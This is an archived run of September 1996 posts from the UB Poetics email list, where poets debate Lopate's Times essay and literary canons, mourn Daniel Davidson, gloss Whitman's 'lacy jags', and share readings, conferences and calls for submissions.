>(royalties - granted I'm sure there is not a lot of that), or salaries go
>to those in the academy?

by my count (& i measure "publishing poets" by the yard, on my overflowing "to be reviewed" shelves), you are _quite_ wrong, in terms of numbers of publishing poets--also in quantity of publications, and i'd guess in readership (dare i wonder outloud, here, about "quantity" vs. "quality"? no, i dare not)... certainly, tho, th majority of criticism published is criticism of poets associated w/ universities (directed to same?); likewise the $$ bit...

what's the point?

lbd
trr/burning press/etc...

↑ Index

233. Julie Marie Schmid
Re: The Rutgers Conference
Tue 10 Sep 1996

Thanks all for the information. Hope to see you there!

Julie Schmid

↑ Index

234. Joseph Lease
Re: mookie (loop) ten years after
Tue 10 Sep 1996

On Mon, 9 Sep 1996, Jordan Davis wrote:

> I am referring to the Buckner bobble, of course, as the moment in 1986
> (glorious revolution?) from which I date this different feeling. If as you
> say my writing against Lopate (from within the offices of an organization
> he practically invented) is 'overdetermined' then I have written so to
> remain within some semblance of the limits of the terms of Lopate's
> (unambiguous) argument. Does this make me a sucker? To want to show that
> _even within Lopate's version of poetry, his argument is conservative?_ I
> am not quite sure what overdetermined might mean here. It sounds like
> 'written in crayon' or 'written as if through forty sheets of carbon paper'
> to me most of the time. Now if you want to read Lopate's argument (from the
> one paragraph I took from a full-page piece) as a variation on the
> archetypal language cry of "Resistance!" then fine. I'm French, I won't
> call that bluff. But I don't see it. Instead, I see a contrarian opening a
> possibility for public non-debate--one in which everyone involved may
> profit in column inches, and in which risk will remain fairly low _as long
> as nobody names names_. Elsewhere in the essay, Lopate seems to take as a
> given the evolution of the contemporary American poem into a truncated

> personal essay. In the spirit of Sheila Murphy's test message, I ask you
> again, true or false. You will ask, can we really take the NY Times Book
> Review seriously. What sort of question is that? Is there no talking to the
> deans of Columbia College, or the Princess Caetani, or the listserv
> manager, or Chip McGrath? Really? If there is no 'taking on' willful
> ignorance when it blunders on in public, then all this discussion is really
> about is making sure our names appear. That--that jumping on the wrong, and
> doing one's best to avoid it in one's own work--is what excites me about
> the anonymous writing on this list, it's what thrills me about many recent
> chapbooks from anonymous and minuscule presses, it's why I go to readings
> and host them and give them, because it is profoundly exciting to be saying
> something, anything, that is _not_ recognized, that _cannot be_ recognized
> by the literary and publishing public, not through any fault of theirs _or_
> my own. When Aram Saroyan, fed up with New York and the poetry-consuming
> public of the early 70s, left for the west coast, he wrote an open letter
> to the Poetry Project Newsletter. It was kind of silly. There were a lot of
> underlined words. In the subsequent issue of the Newsletter, a letter
> signed I think it was "The New York School" appeared, listing all the words
> Saroyan had underlined. A funny satire does a famous amount of work, even
> if it marks the few people capable of it with the word 'humorist'--a word
> no one has yet gotten out from under, though most of the truly and
> consistently funny writers of the last 10,000 years have tried. I'm not
> proposing that someone call Lopate a humorist--habeas corpus, etc. But why
> the surrealists, why the seventeenth century? Why not the silver poets, or
> the negritude poets, or anybody? Why only the A+ movements-- consider the
> context and the unstated requirements of the A plus. Or don't, I don't want
> to discuss _my_ private life either. I guess all I wanted was to posit a
> mainstream other, you know, not for _electioneering_ but to provide some
> focus, some _context_ for the discussion about poets/critics.
>
> Okay!
> Jordan
>

Ok. I only mentioned surrealism and seventeenth century poetry as what is open to being rehistoricized. Silver age, negritude, Carl Sandburg, Dada, all likewise. No one's a sucker and yes we should take the times seriously even as they make it virtually impossible to do so. I agree that Lopate's argument is conservative in one way and I also agree with you that his criticism of mainstream postconfessional stuff is similar to Langpo's. So what to do with that loop. And I certainly wasn't asking

you to get postconfessional about a private life (whatever that is, isn't the personal political even when the personal must be exploded in order for ideology to be revealed at work). I think all I meant was isn't Lopate affiliated with NY School in a way.

Ok.

↑ Index

235. Joseph Lease
Re: Conceptual crit?
Tue 10 Sep 1996

On Mon, 9 Sep 1996, maria damon wrote:

> *filch rites:*
> *If a bunch of academics can get together and call themselves and the poetry they study to be "alternative" then it certainly makes sense that "elitism" would be a tad confusing to those academics.*
>
> *i rite: i take exception to your tone. i know the meaning of the word "elitist." i am familiar with its uses, particularly the way it gets tagged onto anything one wants to diss. the assumption is that elitism is bad, and one should go to any and all measures to avoid being called "elitist." i'm not a stupid person, and i'm not a bunch of academics calling things things.*
> *md*

poets have always written about poetry

institutions have always corrupted

in any event we are always multiple communities with multiple and simultaneous histories

that needs to be the starting point for the context in which to say as Jordan wants to that Lopate's position vis a vis postconfessional isn't tough enough and likewise as filch and md want to that theory and poetics are both here and manifest subject positions coming into being against (sometimes) great social odds

↑ Index

236. Joseph Lease
poetics follies (fwd)
Tue 10 Sep 1996

---------- Forwarded message ----------
Date: Mon, 9 Sep 1996 17:17:07 -0400
From: Jordan Davis <[redacted]>

To: [redacted]
Subject: poetics follies

Joseph-- My apologies for any snippiness in the last back to you. I think I got a bit carried away. Lopate's analysis isn't bad--but he's not clear about how much of poetry he's talking about.. that is, his premises are bad. Anyway.. thanks for the lively back and forth. Jordan

↑ Index

237. Joseph Lease
Re: mookie (loop) ten years after
Tue 10 Sep 1996

On Tue, 10 Sep 1996, Joseph Lease wrote:

> On Mon, 9 Sep 1996, Jordan Davis wrote:
>
> > I am referring to the Buckner bobble, of course, as the moment in 1986
> > (glorious revolution?) from which I date this different feeling. If as you
> > say my writing against Lopate (from within the offices of an organization
> > he practically invented) is 'overdetermined' then I have written so to
> > remain within some semblance of the limits of the terms of Lopate's
> > (unambiguous) argument. Does this make me a sucker? To want to show that
> > _even within Lopate's version of poetry, his argument is conservative?_ I
> > am not quite sure what overdetermined might mean here. It sounds like
> > 'written in crayon' or 'written as if through forty sheets of carbon paper'
> > to me most of the time. Now if you want to read Lopate's argument (from the
> > one paragraph I took from a full-page piece) as a variation on the
> > archetypal language cry of "Resistance!" then fine. I'm French, I won't
> > call that bluff. But I don't see it. Instead, I see a contrarian opening a
> > possibility for public non-debate--one in which everyone involved may
> > profit in column inches, and in which risk will remain fairly low _as long
> > as nobody names names_. Elsewhere in the essay, Lopate seems to take as a
> > given the evolution of the contemporary American poem into a truncated
> > personal essay. In the spirit of Sheila Murphy's test message, I ask you
> > again, true or false. You will ask, can we really take the NY Times Book
> > Review seriously. What sort of question is that? Is there no talking to the
> > deans of Columbia College, or the Princess Caetani, or the listserv
> > manager, or Chip McGrath? Really? If there is no 'taking on' willful
> > ignorance when it blunders on in public, then all this discussion is really

> > about is making sure our names appear. That--that jumping on the wrong, and
> > doing one's best to avoid it in one's own work--is what excites me about
> > the anonymous writing on this list, it's what thrills me about many recent
> > chapbooks from anonymous and minuscule presses, it's why I go to readings
> > and host them and give them, because it is profoundly exciting to be saying
> > something, anything, that is _not_ recognized, that _cannot be_ recognized
> > by the literary and publishing public, not through any fault of theirs _or_
> > my own. When Aram Saroyan, fed up with New York and the poetry-consuming
> > public of the early 70s, left for the west coast, he wrote an open letter
> > to the Poetry Project Newsletter. It was kind of silly. There were a lot of
> > underlined words. In the subsequent issue of the Newsletter, a letter
> > signed I think it was "The New York School" appeared, listing all the words
> > Saroyan had underlined. A funny satire does a famous amount of work, even
> > if it marks the few people capable of it with the word 'humorist'--a word
> > no one has yet gotten out from under, though most of the truly and
> > consistently funny writers of the last 10,000 years have tried. I'm not
> > proposing that someone call Lopate a humorist--habeas corpus, etc. But why
> > the surrealists, why the seventeenth century? Why not the silver poets, or
> > the negritude poets, or anybody? Why only the A+ movements-- consider the
> > context and the unstated requirements of the A plus. Or don't, I don't want
> > to discuss _my_ private life either. I guess all I wanted was to posit a
> > mainstream other, you know, not for _electioneering_ but to provide some
> > focus, some _context_ for the discussion about poets/critics.
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> > Jordan
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> Ok. I only mentioned surrealism and seventeenth century poetry as what is
> open to being rehistoricized. Silver age, negritude, Carl Sandburg, Dada,
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> Langpo's. So what to do with that loop. And I certainly wasn't asking
> you to get postconfessional about a private life (whatever that is, isn't
> the personal political even when the personal must be exploded in order

> for ideology to be revealed at work). I think all I meant was isn't
> Lopate affiliated with NY School in a way.
>
> Ok.
>
having now read and breathed a bit: so many problems come from positing one and only one mainstream other

poetics and culture being fortunately and unfortunately more multiple and polyvalent than that

one problem of position (one) other mainstream is that it makes for one avant-garde when we are thousands

ok ok

now allow me to become postconfessional: I haven't actually read Lopate's piece. heard about it from other friends. stopped reading times ages ago precisely because it is so stupid about poetry.

so. my question is how to be activist in response without being counterdependent.

and no overdetermined didn't mean written in crayon or anything like that and I didn't know Lopate really at all except that he has praised Shapiro's work and certainly in terms consistent with Langpo's critique of postconfessional conventions.

↑ Index

238. Joseph Lease
Re: mookie (loop) ten years after
Tue 10 Sep 1996

PS

I'm still curious: what's the 86/89 deal.

↑ Index

239. John Geraets
Re: Dan Davidson
Tue 10 Sep 1996

How emptying to hear of Daniel Davidson's death. My
knowledge of him comes from email exchanges over the past
few months, a thing or two sent in the mail. Last Thurs
he finished a note, Gotta go... good to hear from you.
I enjoyed our exchanges, he said he did too, and though

there was a strong sense of him, there's also the sense now of how suddenly that's stopped.

In the limited way I knew him, much respect,

John

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240. Michael Boughn
poet critic critic poet
Tue 10 Sep 1996

A couple of quick points--

I'm sorry Alan. Nothing I said was meant to stand in judgement of you work. I haven't read the essay and and was only using it rhetorically. Cheap trick. Sorry. I would love to read it. Can you email it to me?

The thing is, as much as some people would like to deny these differences or theorize them away, they continue to evoke strong, passionate feelings, probably for a number of different reasons. That I don't want to go into. But they do. (Steiner's description early in _Real Presences_ of the graveyard of dissertations as a metaphor for his sense of the problem is terrifyingly funny).

Anyway, I don't want to open this up again, only say that, for all the brouhaha, it seems to me Steiner's basic point about what he calls domestication raises uncomfortable, and hence pertinent, points that remain unsettled, whatever you think of his biblio-sexual orientation (is he a true textual fetishist or just a biblio-invert?). If his language is provocative, well, so what? Maybe he's trying to shake things up a bit. And maybe they could use a shake.

Mike
[redacted]

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241. Michael Boughn
Re: Conceptual crit?
Tue 10 Sep 1996

> *If a bunch of academics can get together and call themselves and the poetry they study to be "alternative" then it certainly makes sense that "elitism" would be a tad confusing to those academics.*
>
> *i rite: i take exception to your tone. i know the meaning of the word "elitist." i am familiar with its uses, particularly the way it gets tagged onto anything one wants to diss. the assumption is that elitism is bad, and one should go to any and all measures to avoid being called "elitist." i'm not a stupid person, and i'm not a bunch*

> *of academics calling things things.*
> *md*

I hear scuttlebutt of an elite cadre of textual fetishists getting organized in Vancouver. The word is they like to dress up in baseball uniforms and talk about books in the dark. Talk about alternative! Yikes. Lock up your kids!

Mike
[redacted]

↑ Index

242. Julia Stein
Re: narratives
Tue 10 Sep 1996

> *accomplishing something in approaching the unspeakable...they found it*

>
>Date: Tue, 10 Sep 1996 10:19:55 GMT+1200
>From: Tony Green <[redacted]>
>Subject: Re: Assembling - (Paper)form(alitie)s - (Critics & Poets)
>
>Tony Green asks:
Should a conference on narrative consist of critical
>papers on narrative or should it largely consist of narrations which
>concerned, or related to, the "conceptual" base ((avoiding the word
>"theory" here)) of narrative?

My Websters dictionary said "narrate" is from Latin "gnarus" or "knowing"
akin to Latin "gnoscere," "nosere" "to know." If you look up "know" one
finds Latin "gnoscere, nocere" or "to come to know. " Narratives or tales
or myths around the world were a way of "knowing" or "coming to know."
Tales or myths are a way of explaining.
>
  Where's the differences, then?. Between conference papers and
>narratives? between philosophical, conceptually analytical
>discourses, and narrative? what would Plato have to say?

 Plato has been criticized a lot lately.
>But in regarding to Plato, the more I think about him versus the Sophists, I'm
>leaning more and more to the Sophists.

What if there was no canon, no Platonic justification of a literary canon. What if people just gave up on that activity? What if we try to find different ways to talk about literature without the canon.

Also, Guess Inc. has been firing people who are trying to organize so the fired people are calling for a boycott of Guess.

Julia Stein

↑ Index

243. Jordan Davis
postconfessional, postcolonial, let's call the whole thing
Tue 10 Sep 1996

> *I think all I meant was isn't*
> *Lopate affiliated with NY School in a way.*

Sort of. Phillip has argued against the surrealist tendencies in the New York School for years, leaning more towards the David Shapiro side than the Ron Padgett side (though those two sides are not far apart these days, nor is one more 'surreal' than the other). But what if he is? I don't get the import.

86/89. -- Joseph -- this is totally unimportant, being a tinkering with the proposed start-date for life after language. It is a parody/homage (an attempt on the life after language? no -- just bending the Marx-defying bent of the 89 world events).

I seemed to be positing one main stream because I was presenting Lopate's argument. Lopate's anthology _The Art of the Personal Essay_ is a much more complex piece of work than his Times article, which doesn't look so bad to me--only too narrow (univocal?). Poetry is not a weaker cousin of the personal essay. Writers afield embarrass sometimes.

And what if Lopate is sympathetic to the New York School. He wrote about poetry for a huge audience in an irritating way; I thought it would be strange to let it go unremarked.

Jordan Davis

↑ Index

244. Henry Gould
Re: canons
Tue 10 Sep 1996

People talk about canons usually in terms of power, culture, class, who's in, who's out. Seems like just as important is general human propensity to set up markers for evaluation & run competitive races (handy critical tool). Be interesting to see how many "canonical" writers actually came from outside or margins of the "elite"in their societies. Outsiders see the main chance in the race itself. One lesson of slams popularity might be: forget about destroying the

cannon or unmasking the canon. Just set up different markers & hire different judges. Everybody likes a good horserace (until they're sick of it). Of course lots of literary charioteers have been onto this for a long time (re: "alternative" this & that). - Henry Gould

↑ Index

245. maria damon

Re: canons

Tue 10 Sep 1996

In message <[redacted]> UB Poetics discussion
group writes:
> People talk about canons usually in terms of power, culture, class, who's
> in, who's out. Seems like just as important is general human propensity
> to set up markers for evaluation & run competitive races (handy critical
> tool). Be interesting to see how many "canonical" writers actually
> came from outside or margins of the "elite"in their societies. Outsiders
> see the main chance in the race itself. One lesson of slams popularity
> might be: forget about destroying the cannon or unmasking the canon.
> Just set up different markers & hire different judges. Everybody likes
> a good horserace (until they're sick of it). Of course lots of
> literary charioteers have been onto this for a long time (re:
> "alternative" this & that). - Henry Gould

good pt; a teacher of mine, an anthropologist who did a lot w/ narratve and expressive cultures, was constantly puzzled the energy stirred up by the "canon" debates among literary scholars. who cares, he'd say; or, when i wd say, so why are these texts not in the canon, w/ some rhetorical indignation, he'd say, cuz they're written by poor teenage girls, it's an open and shut case, next question? i found his approach refreshing md

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246. Christina Fairbank Chirot

can on

Tue 10 Sep 1996

---

as we used to say while putting up our garden vegetables for winter:

can on!

(also known as making "preserves")
--dbc

↑ Index

247. Ward Tietz
Sound Poetry Events
Tue 10 Sep 1996

I thought I'd post for anyone who might be interested the dates and participants for sound poetry for this year's "Festival de la Batie, the annual two-week festival of theater, dance, music and sound poetry in Geneva, Switzerland.

September 13

Roger Lewinter

September 14

Bernard Heidsieck

Nomads - Guenther Ruch, Juergen O. Olbrich with Rod Summers, Guy Bleus, Fernando Aguiar and Robin Crozier

Amanda Stewart

September 15

Bob Cobbing / Hugh Metcalfe

Mark McMorris / Ward Tietz

Christian Uetz

Julie Patton

All performances will be held at 8:30 pm at Sud des Alpes, 10 rue des Alpes, Geneva, Switzerland. If you're interested in knowing more about the festival or in submitting proposals for next year you can contact Vincent Barras at <[redacted]>.

I'll try to post something next week on the performances themselves.

Ward Tietz

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248. Gwyn McVay
Re: can on
Tue 10 Sep 1996

Kannon! Yes! The Bodhisattva of Compassion. Exactly who we need.

On Tue, 10 Sep 1996, Christina Fairbank Chirot wrote:

> *as we used to say while putting up our garden vegetables for winter:*
>
> *can on!*

> *(also known as making "preserves")*
> *--dbc*

↑ Index

249. **Jonathan Brannen**
Re: Dan Davidson
Tue 10 Sep 1996

Other than some minimalist correspondance, I didn't know Daniel Davidson but I do know and greatly admire his work. Daniel Davidson was a brilliant poet, one of the few. I am stunned and deeply saddened to learn of his death. The following is a poem he wrote and enclosed in a letter I received from him last February.

Imperative

1.

We walk and talk, shore filling the past.

To bring myself along
I dig my eyes into
the lap of liquid, what we've learned

is such an elegant poison
in pieces of elements, buoyed
by the warped and narrow walkways, the

curtain staring between us. Then to remember
our occupation, refrain, circumstance
around which everything happens
blank of water and muscle, where a heart
grasps the blood inside it, stillness
otherwise so common. Breathing credulity, a turbulent

condition for sight, a sign of touch
that "Spectator, of the Willing Participant", is part of you.

2.

The ships of sail in mourning washed
the feet of the sea, bread, cirrus, circuses
blanketing after dawn, and the birds following

each impose their directions. One light between us,
or two?, for our sprouting wings, for silence, for sleep
or sleepless daydreams purging the stones underfoot,
where falling proceeds, one step coming after to another.

3.

Bare embraces every earth, handwritten cornices
gleaming fictions, sweet, tasty entrances
borders eveary country life, whatever is pursued.

I've learned to believe when you describe the imaginable
when tracing the outlines of passing simplicity
a self-sealing break making room for another

listening, to the selves we've gathered.

Daniel Davidson, February 1996

↑ Index

250. Alan Sondheim
Jennifer
Tue 10 Sep 1996

They surfaced again in 1688.

↑ Index

251. Kevin Killian
SPT--Proliferation #3 Reading
Tue 10 Sep 1996

Small Press Traffic Presents

Proliferation #3
a reading by contributors

George Albon
Norma Cole
Jean Day
Hoa Nguyen
Leslie Scalapino

Since Dan Davidson was scheduled to appear at this reading, some contributors will be reading work by Dan as well as their own work.

=46riday, September 13, 7:30 p.m.
New College Cultural Center
766 Valencia Street, San Francisco
$5

Proliferation is a post-Language, post-Naropa journal of the new generation, edited by San Francisco=B9s Mary Burger.

↑ Index

252. Sarah E. Blackwood
Re: POETICS Digest - 8 Sep 1996 to 9 Sep 1996
Tue 10 Sep 1996

Could anyone refer me to any sort of works dealing with gender mimicry, costuming, even drag. I am starting out looking at Cindy Sherman's film stills, but would appreciate any genre of art. Thanks. Sarah Blackwood

↑ Index

253. M.L. Weber
invitation to submit
Tue 10 Sep 1996

I am inviting submissions for a lit-mag---will do it twice a year at least, approx. 64 booksize pages, to be called Sugar Mule.

Paul Hoover, Lance Olson, Pierre Joris, Jane Augustine, Kate Lila Wheeler Michael Heller and others are in the first issue.

Please send to [redacted] by Sep 15 to be considered for the second issue.

The print version of #1 is available from M.L. Weber, 2 N. 24th St., Colo. Spgs.,
CO 80904 for $5 (or can be viewed on-line at
http://ourworld.compuserve.com/homepages/sugar_mule).

↑ Index

254. Rachel Loden
Yasusada/Kent Johnson
Wed 11 Sep 1996

FYI--

Subject: Araki Yasusada/Kent Johnson
> Date: 10 Sep 1996 18:36:54 GMT
> From: [redacted] (Emily S. Nussbaum)
> To: [redacted]
>
> I'm writing an article about the "Araki Yasusada" situation for Lingua
> Franca magazine. Poems have published under the name Yasusada in Grand
> Street, Conjunctions, and American Poetry Review, among other places, with
> biographical information presenting Yasusada as a recently discovered
> Japanese poet who was a survivor of Hiroshima. This biographical
> information was invented, and the actual author(s) of the poems is
> (intentionally) unclear. If anyone has any information about this

> situation, about Kent Johnson (who has acted as the middleman for these
> submissions, and who may have written the work), or about connected
> matters, please contact me at [redacted] as soon as possible, as
> I'm on deadline. Thank you!
>
> Emily Nussbaum
> Lingua Franca
>
>

↑ Index

255. Ann Louise Vickery
Assembling Alternatives
Wed 11 Sep 1996

Having just got back to Australia, I've only just battled with jetlag to read through the rush of responses to the AA conference and add to the pile. Even though there were not many of us Australians at the conference (made even less in number by the felt absence of John Kinsella), it was quite important for those of us who were to be there (in whatever degree of visibility). While the conference seemed specifically aimed at further encouraging a transatlantic exchange of contemporary poetries and poetics, it was important also at a broader level of opening up the cultures of poetry beyond the usual national borders (within the discussion of who was centralized and who was outside the focus of the conference, no-one seems to have mentioned the wonderful reading of Nicole Brossard and Carla Harryman). The idea of nation was raised rather prominently in some of the past messages on the list and at the conference. From my point of view, the wonderful elements of the conference were the points of connection between different poetic communities, of moving beyond an 'Australian' context or a 'Canadian' context for instance, to looking at how particular practices actually overlap or shape one another in various ways.

In terms of who got heard at this conference, it needs to be recognized that much depended on who wanted to listen and how one was listened to. It was not so much the organizer, who did a fantastic job, so much as people in the audience (or deciding to be an audience) that, in many cases, affected the direction of debate. Just one or two examples. It has already been mentioned that there was no public discussion after Philip Mead's paper because the response centred on Bob Perelman's paper. I may be wrong but the responses that came out of that session were all, if not nearly all, from Americans. While Bob Perelman raised some interesting points, I think it significant that those who responded were on fairly familiar ground. Similarly, in the session I was in, which concerned generally US-Canadian intersections of feminist practice, the

audience were almost all Canadian or English (American interest was fairly thin on the ground). To begin looking at the pattern of attention and response (who attends which papers and who feels able to talk in the limited space of post-paper discussion) perhaps goes some way in beginning to understand why there may be various silences at such events as well as a lack of ethnic diversity in US poetry conferences more generally.

To finish up, I want to thank Romana for staging a much-needed event. Thanks to her enthusiasm and support at my participation, I was able to meet many American, Canadian and British writers who I have been reading for some time, or have only recently discovered. As well as many whose work I discovered while I was there. It was a great experience,

Ann Vickery

↑ Index

256. George Bowering

Re: Conceptual crit?

Wed 11 Sep 1996

> *I hear scuttlebutt of an elite cadre of textual fetishists getting organized in Vancouver. The word is they like to dress up in baseball uniforms and talk about books in the dark. Talk about alternative! Yikes. Lock up your kids!*
>
> *Mike*
> [redacted]

Okay, it's true. But some of us look really good in baseball uniforms. Only ten years ago I had great definition in my upper arm muscles. So we talk about books in the dark! I'm not ashamed! I'm not! Sometimes we dont even talk about books much!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

257. George Bowering
Re: POETICS Digest - 8 Sep 1996 to 9 Sep 1996
Wed 11 Sep 1996

> *Could anyone refer me to any sort of works dealing with gender mimicry, costuming, even drag. I am starting out looking at Cindy Sherman's film stills, but would appreciate any genre of art. Thanks.*
> *Sarah Blackwood*

Best thing I have ever read/seen was Michel Tremblay's great play, _Hosanna_

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

258. George Bowering
Re: invitation to submit
Wed 11 Sep 1996

--==========_-1369701603==_==========

> *Thanks for invitation. I'm sending something attached.*

Best-

--==========_-1369701603==_==========

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259. **henry**
Re: can on
Wed 11 Sep 1996

On Tue, 10 Sep 1996 16:22:17 -0400 Gwyn McVay said:
>Kannon! Yes! The Bodhisattva of Compassion. Exactly who we need.

Might help un-rig some of the horseraces.
- HG

↑ Index

260. **Jonathan A Levin**
Whitman Qestion
Wed 11 Sep 1996

O.K., Whitman fans:

Would anybody care to offer a gloss on the phrase "lacy jags" in the last section of "Song of Myself":

I depart as air . . . . I shake my white locks at the runaway sun, I effuse my flesh in eddies and drift it in lacy jags.

If you go to the OED, be prepared to spend some time there. Thanks--

Jonathan Levin

↑ Index

261. **henry g**
Re: Whitman Qestion
Wed 11 Sep 1996

On Wed, 11 Sep 1996 09:32:44 -0400 Jonathan A Levin said:
>O.K., Whitman fans:
>
>Would anybody care to offer a gloss on the phrase "lacy jags" in the last
>section of "Song of Myself":
>
>I depart as air . . . . I shake my white locks at the runaway sun,
>I effuse my flesh in eddies and drift it in lacy jags.

Two possibilities:
1. it's the jagged lace of foamy surf.

2. it's a typo. Walt actually wrote: RACY jags (the car). - hg

↑ Index

262. Thomas M. Orange
wcw panel louisville
Wed 11 Sep 1996

with all the heat that has been generated lately over academic-type conferences, i nonetheless overcome my hesitation to repost the following query.

i'm interested in putting together a panel or panels for the twentieth- century literature conference to be held in louisville ky in february 1997.

my work on william carlos williams' early writing (roughly from tempers through his collected 1921-1931) has got me looking currently at imagist and "objectivist" poetics, and how pound and zukofsky as readers of williams situate him in relation to those poetics.

we have the initial makings of a panel on reading williams and/or the history of these movements, and are interested in some more proposals that would help us round out (or narrow down) these panels.

louisville needs submissions of panels and completed papers (10 pp.) by october 1, and i'd welcome ideas for papers on any related and sundry topics. feel free to reply directly to the list or backchannel.

tom orange
[redacted]

↑ Index

263. Michael Coffey
invitation to submit -Reply
Wed 11 Sep 1996

Thanks for the invitation to submit to Sugar Mule. I attach "In Robert Motherwell's Car." I have a book out from Sun & Moon, and another coming from Coffee House next year. And Good luck with the mag. Jesus, to witness the demise of the SASE. Who'd've thunk it.

↑ Index

264. Judy Roitman
Re: invitation to submit -Reply
Wed 11 Sep 1996

Could people submitting to Sugar Mule send their stuff to M.L. Weber and not to the entire list?

Also, beware of PostScript garbling.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

265. **Pritchett,Pat**
Re: gender mimicry
Wed 11 Sep 1996

Sarah,

don't know if this would help, but a good place to start, at least historically, is with the fascinating story of the Chevalier D'Eon, a cross-dressing spy/soldier/economist in the court of Louis XVII. A good deal of his spying was done dressed as a woman. Havelock Ellis did a study of him and there at least two good books on him (one of them published last year), plus several "colorful" Victorian accounts, as well as some contemporary records. I did quite a bit of research on him for HBO Pictures, whom I worked for when I lived in LA. Believe it or not, they're actually making a movie of his life. If you want book titles, authors, etc, feel free to backchannel me.

Patrick Pritchett
[redacted]

↑ Index

266. **Eliza McGrand- CVA Guest**
Re: Whitman Qestion
Wed 11 Sep 1996

---

i'm probably going to sound like the proverbial idiot savant writer here, but the line "i effuse my flesh in eddies and drift it in lacy jags" sounded perfectly clear to me, in a visual sort of way...

uh, jagged. something is jagged, thus it "jags"... yes, i know, quite probably that isn't syntactical but i have a dreadful feeling i've done it myself somewhere... and lacy, a sort of ragged, spread out, thin sheet. you know when someone is smoking, and there is no wind, or maybe a teensy current. and the smoke rises, or spirals slightly, from the cigerette in those odd, flattened, tearing apart eddies? better image, you know in cartoons when they have creatures dissolved or blown up, they have that thin net of creature-body float in the air...

that is a something that "jags" and it does so in lacy way. because of the lace, i'm assuming whitman means a two-dimensional sheet, like a peice opaper with lots of holes and the disembodied weightlessness of smoke...

e

↑ Index

267. Judy Roitman
Eleni Sikelianos
Wed 11 Sep 1996

Lee Chapman has asked me to ask if anyone has Sikelianos' address. If you do, please contact Lee at [redacted].

Thanks.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

268. maria damon
Re: Whitman
Wed 11 Sep 1996

In message <[redacted]> UB Poetics discussion
group writes:
> "Lacy jags" to me = a wonderful way to characterize the fractal geometry of
> turbulent systems such as clouds. Also seems an interesting diction cluster,
> perhaps meant to play off gender connotations of each word, a kind of
> hermaphrodic entity or bisexual manifestation, though there's an important
> asymmetry: adjective/noun equal or not equal to female/male???
> Peter Out

J.C. Lags to me: an abnormally lovely way to mandate the fibonacci express! bring on the hermaphroditic diaspora syntax! pour on the infestation of mailed females, an exotic asymmetry.

↑ Index

269. **filch**
Re: invitation to submit
Wed 11 Sep 1996

--==========_-1369661581==_==========

> *Thanks for invitation. I'm sending something attached.*
>
> *Best-*
>
> *Attachment converted: Velimir:The Martyrology 11 (WDBN/MSWD) (0001B05D)*
>
> *Attachment converted: Velimir:Canto I (WDBN/MSWD) (0001B05E)*
>
> *George Bowering.*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]
> *e-mail:* [redacted]

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In addition to Sherman, different contemporary artists immediately come to mind: the French performance artist Orlan who undergoes self-transformation through plastic surgery (to mimic models from Classic paintings, from pop culture). See article by Barbara Rose in February 1993 issue of *Art in America*. Also, Lyle Ashton Harris foregrounds gendre and race issues in his large format cibachromes in assorted attire, as does Anna Deavere Smith in her multivocal performances (See Mirage: *Enigmas of Race, Difference and Desire*, Institute of Contemporary Arts, London, 1995.) In this century--as opposed to cross-dressing in Shakespeare--the performative mode and intent around much of this might be traced back to dada (i.e. Duchamp in tutu as Adam in Picabia's Relache, etcetera).

--Roberto

↑ Index

271. **filch**

Re: invitation to submit -Reply

Wed 11 Sep 1996

--==========_-1369661435==_==========

> *Thanks for the invitation to submit to Sugar Mule. I attach "In Robert Motherwell's Car." I have a book out from Sun & Moon, and another coming from Coffee House next year. And Good luck with the mag. Jesus, to witness the demise of the SASE. Who'd've thunk it.*
>
> *Attachment converted: Velimir:6POEMS.DOC (WDBN/MSWD) (0001B05F)*

--==========_-1369661435==_==========

(This file must be converted with BinHex 4.0)

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↑ Index

272. Gary Roberts
Whitman
Wed 11 Sep 1996

"Lacy jags" to me = a wonderful way to characterize the fractal geometry of turbulent systems such as clouds. Also seems an interesting diction cluster, perhaps meant to play off gender connotations of each word, a kind of hermaphrodic entity or bisexual manifestation, though there's an important asymmetry: adjective/noun equal or not equal to female/male??? Peter Out

↑ Index

273. Henry Gould
Re: Dressing Up
Wed 11 Sep 1996

Marjorie Garber wrote a big book on this subject called Vested Interests. Routledge Press, 1992. Haven't read it - but it got a lot of review "coverage". - HG

↑ Index

274. Christina Fairbank Chirot
dressing up--the Post Card Queen
Wed 11 Sep 1996

re the dressing up enquiry

read/see/hear the works and performances of Kenward Elmslie--

Postcards on Parade for example--with its backdrops of 150 handmade gender bending postcard collages--Kenward performing --singing, speaking, dressing up--all the roles--

Kenward has a new show soon--

all of his books and tapes are available from SPD or Z and Bamberger Presses--Bamberger wrote an interesting piece on KE's recent work in Sulfur 37

Long live the Postcard Queen!

dbchirot

↑ Index

275. Laura Moriarty
Dan Davidson
Wed 11 Sep 1996

We've just gotten a message from Geoffrey Green who teaches here at SFSU that there will be a memorial service for Dan Davidson on Saturday September 14, 5:30 PM at 2948 16th Street at Capp. Dan was in the Creative Writing program here at State in the eighties. I don't know more about the servie or who to call to confirm. Hopefully, we will know more by the SPT/ Proliferation reading this Friday at New College.

↑ Index

276. David Kellogg
Re: Dressing Up
Wed 11 Sep 1996

> *Marjorie Garber wrote a big book on this subject called Vested Interests. Routledge Press, 1992. Haven't read it - but it got a lot of review "coverage". - HG*

Apparently (as I learned from an article in *Lingua Franca*) this book it spends some time ruminating on the picture of "Oscar Wilde" as Salome which appeared in Ellmann's biography and has now been shown to not be Wilde (or a man, for that matter) at all.

Not to slag the book (which I haven't read). Just a little tidbit of knowledge.
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We did some research here at the Center and have a partial list of publications:

Product, e.g.press, San Francisco, 1991
Image, Zasterle Press, Canary Islands, 1992
Weather, Score Press, Berkeley
Absence Sensorium, with Tom Mandel, forthcoming from Potes and Poets Press, Elwood, CT

